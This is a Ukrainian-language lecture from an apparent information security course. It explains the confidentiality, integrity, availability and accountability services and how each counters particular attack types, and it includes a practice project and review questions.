Яка частина попереднього дослідження є найбільш небезпечною для хакера при підготовці направленої атаки?
Яким типом інструменту є програма Nmap?
З якою метою запускається атака DoS під час виконання атаки імітації IP-адреси?
Чим представляється програма "троянський кінь" для користувача?
Для чого потрібна програма nc?
Лекція 6
Служби інформаційної безпеки
Розглянуті основні служби безпеки, проблеми конфіденційності інформації, її цілісності і доступності в комп'ютерних системах.
Служби інформаційної безпеки є службами базового рівня, які використовуються для протистояння атакам, розглянених у лекції 2. Кожна з цих служб направлена на боротьбу з певним типом атак (див. табл. 6.1). Служби, про які ми розповімо в цій лекції, не слід плутати з фактичними механізмами безпеки, реалізованими в них.
Особливості використання служб інформаційної безпеки в межах окремої організації залежать від рівня оцінки ризиків в цій організації і планування системи безпеки (розглянемо в одній з наступних лекцій). Знання базових вимог до безпеки дозволяє грамотно використовувати відповідні служби для протистояння атакам.
Таблиця 6.1 Служби інформаційної безпеки і типи атак
Атаки |
Служби безпеки |
|||
Конфіденційність |
Цілісність |
Доступність |
Ідентифікованість |
|
Доступу |
X |
|
|
X |
Модифікації |
|
X |
|
X |
Відмова в обслуговуванні |
|
|
X |
|
Відмова від зобов'язань |
|
X |
|
X |
Конфіденційність
Служба конфіденційності забезпечує секретність інформації. Правильно скомпонована, ця служба відкриває доступ до інформації лише аутентифікованим користувачам. Її надійна робота залежить від служби забезпечення ідентифікації і однозначного визначення достовірності осіб. Виконуючи цю функцію, служба конфіденційності захищає системи від атак доступу. Служба конфіденційності повинна враховувати різні способи представлення інформації – у вигляді роздруківок, файлів або пакетів, що передаються по мережах.
Примітка
В процесі обговорення я часто буду рекомендувати ретельно ставитися до належного визначенням достовірності осіб. В першу чергу, це є причиною того, що всі системи безпеки знаходяться в тісному взаємозв'язку одна з одною. Жодна із служб не може працювати автономно. Тому при реалізації готових програмних продуктів можливе виникнення збоїв в роботі систем інформаційної безпеки.
Забезпечення конфіденційності файлів
Існують різні способи забезпечення секретності документів залежно від їх виду. Паперові документи потрібно захищати фізично, тобто зберігати в окремому місці, доступ до якого контролюється службою конфіденційності. Не слід забувати про такі речі, як замикання картотек і ящиків столів, обмеження доступу в кабінети всередину офісу або в сам офіс.
У роботі з електронними документами є свої тонкощі. По-перше, файли можуть зберігатися одночасно в декількох місцях: на зовнішніх запам'ятовуючих пристроях великої ємкості (жорстких дисках або магнітних стрічках), на гнучких дисках, zip-дисках або компакт-дисках. По друге, фізичний доступ до місця зберігання файлів не обов'язковий. Збереження конфіденційності магнітних стрічок і дисків аналогічно захисту паперових документів і пов'язане з обмеженням фізичного доступу. Контроль над файлами в комп'ютерних системах здійснюють системи управління доступом (це може бути шифрування файлу). Робота цих систем залежить від надійної ідентифікації і аутентифікації користувача і правильної конфігурації, що виключає обхід захисних механізмів через вразливі місця системи. У таблиці 6.2 показані механізми забезпечення конфіденційності файлів і вимоги до них.
Таблиця 6.2. Механізми забезпечення конфіденційності файлів і вимоги до них
Механізми забезпечення конфіденційності |
Контроль фізичної безпеки. |
Контроль доступу до файлів на комп'ютері. |
|
Шифрування файлів. |
|
Вимоги до конфіденційності файлів |
Ідентифікація і аутентифікація. |
Правильне налаштування комп'ютерної системи. |
|
Правильне управління ключами при використанні шифрування. |
Забезпечення конфіденційності при передачі даних по мережі
Недостатньо захистити лише ту інформацію, яка зберігається у вигляді файлів, адже зловмисники можуть перехопити її в процесі передачі по мережевому з'єднанню. Отже, потрібно забезпечити конфіденційність інформації, передаваної по каналах зв'язку (див. мал. 6.1). Це робиться за допомогою технологій шифрування.
Мал. 6.1 Шифрування забезпечує захист інформації при передачі по мережах
Механізми захисту можна застосувати як для окремого повідомлення, так і для всього трафіку з'єднання. Шифрування дозволить запобігти атакам підслуховування, але не зможе захистити від перехоплення інформації. В останньому випадку потрібна надійна система ідентифікації і аутентифікації для визначення достовірності віддаленого одержувача (див. мал. 6.2).
Мал. 6.2. Шифрування у поєднанні з надійною ідентифікацією дозволяє запобігти перехопленню трафіку
Конфіденційність потоку даних
Служба забезпечення конфіденційності потоку даних вельми стурбована самим фактом передачі інформації між двома кінцевими пунктами (див. мал. 6.3). Конфіденційність потоку даних не стосується збереження передаваної інформації. Наявність потоку даних дозволяє аналізатору трафіку виявити організації, між якими встановлений зв'язок. Кількість трафіку, що передається від вузла до вузла, також є цінною інформацією. Наприклад, багато служб новин спостерігають за постачаннями піци у Білий дім і Пентагон. Головна ідея полягає в тому, що збільшення кількості піц вказує на виникнення якоїсь неординарної ситуації. Для опису такого типу діяльності існує спеціальний термін – аналіз руху і подій (traffic and pattern analysis).
Конфіденційність потоку даних забезпечується за рахунок приховування інформації, передаваної між двома кінцевими пунктами, усередині набагато більшого трафіку даних. У Збройних Силах використовується такий прийом: дві військові частини спочатку встановлюють зв'язок, а потім передають постійний об'єм даних, незалежно від кількості повідомлень, що фактично відправляються (вільне місце заповнюється інформаційним "сміттям"). Таким чином, кількість трафіку залишається постійною, і якісь зміни в інтенсивності передачі повідомлень виявити не можна.
Мал. 6.3. Аналіз потоків інформації дозволяє виявити спільно працюючі організації
Примітка
Більшість комерційних організацій не замислюються про конфіденційність потоку даних. Проте в деяких випадках сам факт встановлення з'єднання є секретною інформацією. Припустимо, відбувається злиття двох компаній. У цьому випадку виникнення між ними нових інформаційних потоків є секретною інформацією до тих пір, поки не буде оголошено про цю подію.
Запобігання атакам
Служба забезпечення конфіденційності дозволяє запобігти атакам доступу. Втім, сама по собі вона повністю не вирішує цю проблему. Ця служба повинна працювати спільно із службою ідентифікації для визначення достовірності осіб, що роблять спроби доступу до інформації. У цьому випадку значно зменшується ризик отримання
Питання до експерта. Уточніть, як використовувати служби безпеки для захисту моєї системи?
Відповідь. Служби безпеки, які ми обговорили в цій лекції, є базовим блоком в концепції побудови захисту. Фактична ж її реалізація залежить від безлічі різних механізмів, які ми розглянемо далі. Поки задовольняйтеся цією відповіддю, оскільки розуміння того, як ці служби допомагають захистити вашу інформацію, дозволить вибрати потрібні засоби для використання у вашому оточенні.
Цілісність
Служба забезпечення цілісності стежить за правильністю інформації. При належному рівні організації ця служба дає користувачам упевненість в тому, що інформація є правильною, і її не змінив ніхто із сторонніх. Подібно до служби конфіденційності, служба забезпечення цілісності повинна працювати спільно із службою ідентифікації, аби здійснювати надійну перевірку достовірності. Ця служба є "щитом" від атак модифікації. Інформація, яку вона захищає, може бути представлена у вигляді паперових роздруківок, у вигляді файлів або у вигляді даних, передаваних по мережі.
Цілісність файлів
Як вже ми сказали, інформація може бути представлена у вигляді паперових роздруківок або у вигляді файлів. Звичайно, легко забезпечити захист паперових документів, та і встановити факт зміни вмісту такого документу набагато простіше. Адже зловмисникові потрібний певний навик, аби підроблений документ виглядав достовірно. А комп'ютерний файл може змінити будь-хто, хто має до нього доступ. Існує декілька способів захисту паперових документів від підробки. Можна ставити підпис на кожній сторінці, зшивати документи в теки, виготовляти декілька копій документу. Механізми забезпечення цілісності ускладнюють підробку документів. Хоча зловмисники навчилися копіювати підписи, зробити це все ж непросто, потрібний серйозний навик. Досить складно додати або видалити документ із загальної підшивки. А якщо копії документів розіслані всім зацікавленим сторонам, то підмінити відразу всі документи практично неможливо.
Ну і звичайно, основний спосіб запобігання підробці документів – повне виключення неправомочного доступу. Для цього використовуються ті ж самі механізми, що і для забезпечення конфіденційності – фізичні заходи безпеки.
Аби змінити електронний файл, зловмисникові всього лише потрібно відкрити документ в текстовому редактору і вдрукувати відповідну інформацію. При збереженні новий файл запишеться поверх старого. Основним способом захисту цілісності в цьому випадку є контроль над доступом до файлів на комп'ютері. За допомогою механізму управління доступом можна встановити для файлу дозвіл "лише для читання" і заборонити запис змін. У цьому випадку важливо правильно ідентифікувати користувача, який хоче внести зміни. Тут допоможе служба встановлення достовірності. Контроль доступу до файлів на комп'ютері надійно працює, якщо файли зберігаються в окремій комп'ютерній системі або мережі, контрольованої організацією. А якщо файл потрібно скопіювати в інші підрозділи? В цьому випадку на допомогу приходить інший механізм для виявлення неправомочної зміни файлу – цифровий підпис (детальніше про це розповідається в одній з наступних лекцій). Цифровий підпис файлу дозволяє визначити, що файл змінився з моменту створення підпису. Цифровий підпис має бути зіставлений з конкретним користувачем; таким чином, служба забезпечення цілісності повинна включати також функції ідентифікації і аутентифікації.
Забезпечення цілісності інформації при передачі
Дані можна змінити в процесі їх передачі по мережевих з'єднаннях, але для цього має бути виконана атака перехоплення. За наявності механізмів сильної ідентифікації і аутентифікації атакам перехоплення можна протистояти (див. мал. 6.2), а технології шифрування дозволяють запобігти більшості типів атак на модифікацію.
Запобігання атакам
Служба забезпечення цілісності дозволяє запобігати атакам на модифікацію і атакам на відмову від зобов'язань. При належному рівні її організації будь-яка неправомочна зміна буде негайно виявлена. Взаємодія із службою ідентифікації і аутентифікації дозволить протистояти атакам, направленим на організацію ззовні. А цифровий підпис дозволить виявити атаки на відмову від зобов'язань (див. лекцію 12).
Питання для самоперевірки
Для документів, що зберігаються у вигляді паперових роздруківок, найефективнішим методом дотримання конфіденційності є _________________________.
Служба забезпечення цілісності інформації забезпечує захист від атак _________________________.
Доступність
Служба забезпечення доступності інформації підтримує її готовність до роботи, дозволяє звертатися до комп'ютерних систем, що зберігаються в цих системах даних і в додатках. Ця служба забезпечує передачу інформації між двома кінцевими пунктами або комп'ютерними системами. У даному випадку йдеться в основному про інформацію, представлену в електронній формі (але це стосується і звичайних документів).
Резервні копії
Для збереження важливої інформації найпростішим способом є створення її резервних копій і розміщення їх у безпечному місці. Це можуть бути копії на папері або на електронних носіях (наприклад, на магнітних стрічках). Резервні копії запобігають повній втраті інформації при випадковому або навмисному знищенні файлів.
Увага!
Навіть наявність резервних копій не гарантує стовідсоткове збереження інформації. Ви можете виявити, що випадково знищена магнітна стрічка з важливим файлом. Важливо вчасно відстежувати створення резервних копій цінних файлів.
Безпечним місцем для зберігання резервних копій є сейфи або ізольовані приміщення, в які обмежений фізичний доступ осіб. Резервні копії дійсно допомагають відновити важливу інформацію, але не завжди дозволяють робити це швидко. Адже резервні копії потрібно спочатку забрати із спеціального сховища, доставити в потрібне місце, а потім завантажити в систему. Крім того, буде потрібно деякий час для відновлення кожного додатку або всієї системи.
Перемикання при відмові
Перемикання при відмові (fail-over [feɪl-'əuvə]) забезпечує відновлення інформації і збереження продуктивності. Системи, налагоджені подібним чином, здатні виявляти несправності і відновлювати робочий стан (виконання процесів, доступ до інформації або з'єднань) автоматично за допомогою резервних апаратних засобів.
Перемикання при відмові ще називається прямим відновленням, оскільки не вимагає налаштування. Резервна система розташовується на тому ж робочому місці, що і основна, аби негайно включитися в роботу при виникненні збою у вихідній системі. Це найдешевший (найменш дорогий) варіант для більшості систем перемикання при відмові.
Примітка
Механізми забезпечення доступності є найдорожчими засобами безпеки в організації. Аби визначити склад необхідних апаратних засобів, важливо врахувати вимоги відповідних процедур управлінням ризиком (розглянемо в подальших лекціях).
Відновлення в аварійній ситуації
Відновлення в аварійній ситуації захищає системи, інформацію і виробничі потужності від стихійних лих типу пожежі та повені. Це складний процес, що дозволяє повернути організацію в робочий стан в той час, коли стає неможливо попасти до основного устаткування або в приміщення.
Запобігання атакам
Механізми забезпечення доступності використовуються для відновлення систем після атак на відмову в обслуговуванні. Надійних і ефективних способів запобігання атакам DоS мало, але ця служба дозволить зменшити наслідки атак і повернути системи і апаратуру в робочий стан.
Ідентифікованість
Про службу ідентифікації часто забувають, коли йдеться про безпеку. Головна причина в тому, що сама по собі ця служба не дозволяє запобігти атаці. Вона повинна працювати спільно з іншими службами, аби збільшувати їх ефективність. Якщо розглядати цю службу окремо, то ми побачимо, що вона ускладнює систему безпеки і підвищує її вартість. Проте без роботи служби ідентифікації і служба забезпечення цілісності, і служба забезпечення конфіденційності приречені на невдачу.
Ідентифікація і аутентифікація
Ідентифікація і аутентифікація виконують наступні функції. Ідентифікація по-перше, встановлюють особу індивідуума, по-друге, доводять, що індивідуум є саме тим, за кого себе видає. Аутентифікація використовує будь-яку комбінацію трьох речей:
те, що ви знаєте (пароль або PIN-код);
те, що ви маєте (смарт-карта або бейдж);
той, чим ви є (відбиток пальця або знімок сітківки ока).
Можна вибрати один елемент з цього списку, але краще використовувати їх комбінацію, наприклад, пароль і смарт-карту. Це називається двох факторною аутентифікацією. Двох факторна аутентифікація набагато сильніша, ніж одно факторна, оскільки кожен чинник має свої слабкі місця. Наприклад, пароль можна вгадати, а смарт-карту вкрасти. Біометричну аутентифікацію важче фальсифікувати, проте людину можуть насильно змусити помістити руку в сканер.
У реальному житті для аутентифікації використовується пропуск, що пред'являється охороні. Це вважається достатнім для того, щоб службовець міг увійти до будівлі. Для встановлення достовірності осіб, що бажають попасти в секретні приміщення, що охороняються, використовуються сканери геометрії руки. Пізнавальний механізм безпосередньо пов'язаний з фізичною наявністю індивідуума.
У комп'ютерному світі фізичні пізнавальні механізми не працюють. Тут для аутентифікації користувача традиційно використовується пароль. Достовірність пов'язана з ідентифікатором користувача, який призначається адміністратором системи. Вважається, що у адміністратора є певний доказ, що особа, яка одержує ідентифікатор, насправді є тою, за кого себе видає. Паролі – єдиний чинник встановлення достовірності користувача і, як наслідок, є "слабкою ланкою". На відміну від реального життя тут немає жодної гарантії фізичної присутності індивідуума. Саме тому рекомендується використання двох факторної аутентифікації, яка забезпечує сильніший пізнавальний механізм.
Ідентифікація і аутентифікація застосовуються в системі управління доступом до файлів в комп'ютерних системах, що забезпечує конфіденційність і цілісність цих файлів. Ідентифікація і аутентифікація дуже важлива для роботи механізмів шифрування і цифрових підписів. У цьому випадку ідентифікаційні дані передаються віддаленому користувачеві, який підтверджує свою достовірність на локальному рівні, а потім ці відомості доставляються в потрібне місце. На мал. 6.4 показаний процес ідентифікації за допомогою цифрового підпису при відправці повідомлення. Користувач спочатку підтверджує свою достовірність, використовуючи механізм захисту підпису на своєму локальному комп'ютері. Потім локальний комп'ютер відправляє повідомлення, підписане цим цифровим підписом. Користувач, що приймає повідомлення, використовує цифровий підпис як доказ того, що відправник є автором повідомлення.
Механізм ідентифікації і аутентифікації – це ключ до інших служб безпеки. Якщо він дає збій, то їх надійна робота виявляється під загрозою.
Мал. 6.4. Робота механізму ідентифікації і аутентифікації в з'єднанні віддаленого доступу
Аудит
Аудит дозволяє фіксувати події, що відбуваються. Записи аудиту пов'язують користувача з діями, які він виконує в системі. Без надійної служби ідентифікації і аутентифікації аудит стає даремним, оскільки немає гарантії, що зафіксовані дії насправді виконані вказаною особою.
Аудит в реальному житті здійснюється за допомогою журналів реєстрації, обліковою інформацією пропусків на вихід, відеозаписів. Його завданням є звіт про виконані дії. Служба цілісності повинна гарантувати, що інформація в журналі аудиту не змінювалася, інакше її достовірність ставиться під сумнів.
У комп'ютерних системах аудит ведеться за допомогою журналів, в які записуються дії користувача. Якщо служба ідентифікації і аутентифікації працює належним чином, то ці події можна ототожнити з певним користувачем. Електронні журнали аудиту теж необхідно захищати від будь-яких змін.
Запобігання атакам
Служба ідентифікації сама по собі не може протистояти атакам, оскільки працює разом з іншими службами. Вона веде записи дій, що виконуються зареєстрованим користувачем і таким чином дозволяє відновити картину подій в разі атаки.
Захистіть свою інформацію
Спочатку освіжіть в пам'яті проект 2 (див. в лекції 2). У ньому були виявлені способи, які можуть використовуватися при атаці на вашу систему. У цьому проекті ви визначите способи захисту інформації у своїй системі і в організації.
Крок за кроком
Почніть із списку атак і стратегій здійснення цих атак, розроблених в проекті.
Для кожного методу атаки визначте найприйнятнішу службу безпеки, яка дозволить запобігати або виявити цю атаку.
Для кожної виявленої служби прийміть рішення про те, чи потрібна їй для надійного функціонування служба ідентифікації. Якщо це так, то додайте і цю службу до списку.
Розташуйте список за пріоритетами, починаючи від найважливішого (на ваш погляд).
Якщо будуть реалізовані всі служби безпеки, вам вдасться виявити або запобігти атакам, виявленим у проекті 2?
Висновки
Для захисту секретної інформації найважливішою є служба конфіденційності. Проте не забудьте, що для однієї інформації потрібно унеможливити її модифікацію, а для іншої – можливість доступу. В обох випадках потрібна надійна служба ідентифікації і аутентифікації. Якщо є системи або інформація, від роботи яких залежить діяльність організації, то буде потрібно забезпечити також службу доступу. Для її роботи не потрібна служба ідентифікації і аутентифікації.
Контрольні питання
Перерахуйте основні служби безпеки.
Яка служба покладається на службу конфіденційності для забезпечення повного захисту інформації?
Які служби використовуються для протистояння атакам на модифікацію?
У роботі яких служб використовується система контролю доступу?
Чи повинні комерційні організації дотримувати конфіденційність потоку даних?
Який основний механізм забезпечує конфіденційність і цілісність інформації при передачі?
Для запобігання перехопленню повинне використовуватися шифрування – разом з якою службою безпеки?
Чи може служба забезпечення доступності запобігти атакам на відмову в обслуговуванні?
Назвіть три типи аутентифікаційних чинників.
Чому двохфакторна аутентифікація сильніша, ніж однофакторна?
Навіщо потрібний аудит?
Які служби дозволяють запобігти атакам на відмову від зобов'язань?
Які служби дозволяють запобігти атакам доступу?
На які три служби безпеки повинен спиратися аудит?
Прикладом роботи якої служби безпеки є розгортання плану аварійного відновлення.